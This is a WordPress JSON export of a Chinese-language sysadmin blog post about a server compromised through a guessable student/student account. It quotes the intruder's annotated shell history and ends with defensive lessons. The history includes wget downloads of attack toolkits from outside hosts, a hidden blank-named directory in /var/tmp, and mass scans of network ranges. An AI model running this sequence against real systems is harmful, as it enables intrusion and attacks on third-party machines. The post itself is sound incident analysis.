{"id":35,"date":"2006-11-29T12:11:24","date_gmt":"2006-11-29T04:11:24","guid":{"rendered":"http:\/\/140.123.23.69\/blog\/?p=35"},"modified":"2007-03-29T00:55:56","modified_gmt":"2007-03-28T16:55:56","slug":"%e8%a2%ab%e9%a7%ad%e5%bf%83%e5%be%97","status":"publish","type":"post","link":"https:\/\/blog.smallken.site\/?p=35","title":{"rendered":"\u88ab\u99ed\u5fc3\u5f97"},"content":{"rendered":"

\u4e0a\u4e00\u7bc7\u624d\u5728\u8b1b\u5075\u6e2c hacking \u7684\u7a0b\u5f0f\uff0c\u524d\u5e7e\u5929\u6709\u4e00\u53f0\u4e3b\u6a5f\u5c31\u88ab\u5165\u4fb5\u4e86\uff0c\u800c\u4e14\u662f\u5df2\u7d93\u7528 rkhunter \u5075\u6e2c\u904e\u4e86\uff0c\u904e\u7a0b\u5c31\u662f\u56e0\u70ba\u7528\u4e86\u4e00\u500bstudent\/student\u7684\u5e33\u865f\u5bc6\u78bc\uff0c\u9019\u500b\u5e33\u865f\u662f\u7528\u4f86\u50b3ftp\u6a94\u6848\uff0c\u96d6\u7136\u5bc6\u78bc\u88ab\u731c\u4e2d\u767b\u5165\u9032\u4f86\u5176\u5be6\u4ed6\u6b0a\u9650\u5f88\u5c0f\uff0c\u4f46\u662f\u4ed6\u5229\u7528\u9019\u53f0\u4e3b\u6a5f\u518d\u53bb\u653b\u64ca\u5225\u7684\u96fb\u8166\uff0c\u4e0d\u4e45\u9019\u500bIP\u5c31\u88ab\u96fb\u7b97\u4e2d\u5fc3\u65b7\u7dda\uff0c\u6211\u6703\u767c\u73fe\u662f\u56e0\u70ba\u767c\u73festudent\u7684\u5bc6\u78bc\u88ab\u6539\u6389\u4e86\uff0c\u6240\u4ee5\u624d\u518d\u67e5\u4e0b\u53bb\uff0c\u525b\u597d .bash_history \u4ed6\u6c92\u780d\uff0c\u4f86\u770b\u4e00\u4e0b\u4ed6\u64cd\u4f5c\u904e\u7a0b:<\/p>\n

w \/\/ \u5148\u67e5\u770b\u7dda\u4e0auser
\npasswd \/\/ \u6539\u5bc6\u78bc,\u5176\u5be6\u5982\u679c\u4e0d\u6539,\u6bd4\u8f03\u96e3\u767c\u89ba\u88ab\u5165\u4fb5
\ncd \/var\/tmp \/\/ \u5207\u63db\u76ee\u9304\u5230 \/var\/tmp,\u9019\u500b\u76ee\u9304\u6bcf\u500b\u4eba\u90fd\u6709\u6b0a\u9650
\nmkdir ” ” \/\/ \u5efa\u4e00\u500b\u7a7a\u767d\u76ee\u9304,\u771f\u7684\u662f\u7a7a\u767d,ls\u4e5f\u770b\u4e0d\u5230,\u9664\u975e\u6ce8\u610f\u5230\u76ee\u9304\u500b\u6578
\ncd ” ”
\nwget serie.sapte.ro\/as.tgz \/\/ \u4e0b\u8f09\u653b\u64ca\u7a0b\u5f0f
\ntar zxvf as.tgz \/\/ \u89e3\u58d3\u7e2e
\ncd SSH\/ \/\/ \u9019\u61c9\u8a72\u662f\u7a0b\u5f0f\u653e\u7684\u4f4d\u7f6e
\nls
\n.\/x 211.54; .\/x 140.123 \/\/ \u4ee5\u4e0b\u5c31\u958b\u59cb\u57f7\u884c\u653b\u64ca\u7a0b\u5f0f,\u9084\u6709\u5206\u7db2\u6bb5\u5728\u653b\u64ca
\n.\/x 140.124; .\/x 140.125; .\/x 140.126 \/\/ \u90fd\u662f\u53f0\u7063\u7684,\u771f\u53ef\u6190
\n.\/x 140.127;.\/x 140.128;.\/x 140.129
\nexit \/\/ \u96e2\u958b
\ncd \/var\/tmp\/” ” \/\/ \u518d\u6b21\u767b\u5165\u4e86
\nls -a
\ncd SSH\/
\nhistory
\n.\/x 140.109;.\/x 140.110;.\/x 140.111;.\/x 140.112;.\/x 140.113 \/\/ \u518d\u6b21\u653b\u64ca
\n.\/x 140.114
\n.\/x 140.115; .\/x 140.116; .\/x 140.117; .\/x 140.118; .\/x 140.119; .\/x 140.120
\n.\/x 140.121; .\/x 140.122; .\/x 140.123; .\/x 140.124; .\/x 140.125
\nexit \/\/ \u96e2\u958b
\n.
\n. \/\/ \u7701\u7565
\n.
\nw \/\/ \u767b\u5165,\u9032\u4f86\u63db\u53e6\u5916\u4e00\u7a2e\u5de5\u5177\u653b\u64ca
\ncd \/var\/tmp
\nmkdir ” ”
\ncd ” ”
\nwget smeckeru.iitalia.com\/delles.tar.gz
\ntar zxvf delles.tar.gz
\nrm -rf delles.tar.gz
\ncd delles
\n.\/a 211.54; .\/a 211.20
\n.\/a 140.123; .\/a 140.120; .\/a 140.121; .\/a 140.122; .\/a 140.124; .\/a 140.125; .\/a 140.126; .\/a 140.127; .\/a 140.128; .\/a 140.129; .\/a 140.130
\n.\/a 129.93
\n.\/a 130.64
\n.\/a 140.131;.\/a 140.132;.\/a 140.133;.\/a 140.134;.\/a 140.135;.\/a 140.136;.\/a 140.137;.\/a 140.138;
\nexit<\/p>\n

\u67e5\u770blast
\n# last | grep student
\n
\n\u67e5\u5230 IP \u662f 86.122.136.2
\n\u5230 www.DNSstuff.com<\/font><\/a>\uff1a<\/a>http:\/\/www.dnsstuff.com\/<\/font><\/a> \u53cd\u67e5IP\u662f\u5f9e\u54ea\u88e1\u4f86\u7684
\n
\n\u7b54\u6848\u662f\u5f9e romania \u7f85\u99ac\u5c3c\u4e9e \u4f86\u7684<\/p>\n

\u6211\u60f3\u9019\u88e1\u9700\u8981PO\u9ede\u5fc3\u5f97\uff0c\u4e0b\u6b21\u5fc5\u9808\u8981\u6ce8\u610f\u7684\u5730\u65b9
\n1.\u5728\u5efauser\u7684\u5e33\u865f\u5bc6\u78bc\u6642\uff0c\u4e0d\u50c5\u5bc6\u78bc\u8a2d\u5b9a\u8981\u50c5\u614e\uff0c\u5e33\u865f\u5728\u6311\u9078\u6642\u5c31\u8981\u76e1\u91cf\u907f\u514d\u6389\u5e38\u7528\u7684\u6703\u88ab\u731c\u5230\u7684\u5e33\u865f\u3002
\n2.\u82e5\u5e33\u865f\u53ea\u55ae\u7d14\u505aftp\u767b\u5165\uff0c\u90a3\u5c31\u7de8\u8f2f \/etc\/passwd\uff0c\u628ashell\u8a2d\u5b9a\u6210\/sbin\/nologin\uff0c\u4f7f\u5176\u7121\u6cd5\u767b\u5165\u6e1b\u5c11\u88ab\u5165\u4fb5\u7684\u6a5f\u6703\u3002
\n3.ssh \u9023\u7dda\u7834\u58de\u6027\u5f88\u5f37\u5927\uff0c\u6240\u4ee5\u53ef\u4ee5\u7684\u8a71\u9650\u5236\u5176\u9023\u7dda\u5340\u57df\u3002
\n4.\u505a\u597d\u5e33\u865f\u5bc6\u78bc\u63a7\u7ba1\u6bd4\u8d77\u5957\u4ef6\u4fee\u88dc\u91cd\u8981\u4e00\u767e\u500d\u3002
\n5.\u5176\u5be6\u9019\u7a2e\u653b\u64ca\u65b9\u5f0f\u5f88\u7c21\u55ae\u4e5f\u5f88\u4fdd\u5b88\uff0c\u5c31\u662f\u525b\u597d\u9047\u5230\u4e00\u500b\u55c6\u53f8\u5c31\u525b\u597d\u88ab\u4ed6\u5165\u4fb5\uff0c\u6240\u4ee5\u9664\u4e86\u6709rkhunter\u5075\u6e2c\u4ee5\u5916\uff0c\u672c\u8eab\u8eab\u70baweb master \u7684\u4eba\u5e33\u865f\u63a7\u7ba1\u771f\u7684\u8981\u5148\u505a\u597d\u624d\u662f\u738b\u9053\u5440\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

\u4e0a\u4e00\u7bc7\u624d\u5728\u8b1b\u5075\u6e2c hacking \u7684\u7a0b\u5f0f\uff0c\u524d\u5e7e\u5929\u6709\u4e00\u53f0\u4e3b\u6a5f\u5c31\u88ab\u5165\u4fb5\u4e86\uff0c\u800c\u4e14\u662f\u5df2\u7d93\u7528 rkhunter \u5075\u6e2c\u904e\u4e86…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-35","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/blog.smallken.site\/index.php?rest_route=\/wp\/v2\/posts\/35","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.smallken.site\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.smallken.site\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.smallken.site\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.smallken.site\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=35"}],"version-history":[{"count":0,"href":"https:\/\/blog.smallken.site\/index.php?rest_route=\/wp\/v2\/posts\/35\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.smallken.site\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=35"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.smallken.site\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=35"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.smallken.site\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=35"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}